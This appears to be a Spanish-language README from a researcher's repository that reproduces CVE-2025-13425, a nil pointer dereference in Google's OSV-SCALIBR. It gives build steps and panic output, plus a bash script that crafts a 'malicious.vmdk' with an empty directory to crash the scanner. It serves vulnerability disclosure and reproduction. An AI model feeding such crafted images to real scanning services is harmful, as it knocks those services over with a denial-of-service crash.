
Este repositorio contiene instrucciones para reproducir CVE-2025-13425: vulnerabilidad de desreferencia de puntero nulo / sobreindexación de matriz que encontré en el proyecto OSV-SCALIBR de Google.
Para reproducir el CVE-2025-13425 solo sigue los pasos a continuación:
Paso 1: Clona el código fuente fresco de osv-scalibr:
$ git clone https://github.com/google/osv-scalibr
Paso 2: Elimina el código mencionado en el commit de la corrección https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Paso 3: Usa el parche vmdk.go.patch y aplícalo a vmdk.go con:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
¿Por qué necesitamos estos cambios en vmdk.go?
Esto es solo un ejemplo y este error no se limita únicamente al plugin vmdk. Esto es necesario para desencadenar el error. El error se activa cuando alguien escribe su propio plugin que recorre un sistema de archivos virtual contenido dentro de un archivo. El error está en la forma en que osv-scalibr maneja los sistemas de archivos virtuales. Este error pasará desapercibido durante la compilación o producción, pero se activará cuando el usuario proporcione un archivo vmdk que contenga al menos un directorio vacío.
Paso 4: Compila el código fuente para obtener el binario "scalibr":
$ make clean && make
Paso 5: Desencadena con:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Salida esperada:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
O
Puedes generar una imagen vmdk maliciosa (o mínima) que contenga un directorio vacío. Para ello, crea un nuevo script bash con el siguiente código (por ejemplo, gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Ahora,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Esto creará un archivo llamado "malicious.vmdk". Ahora desencadena la vulnerabilidad con:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Salida esperada:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 descubierto por Yuvraj Saxena ([email protected])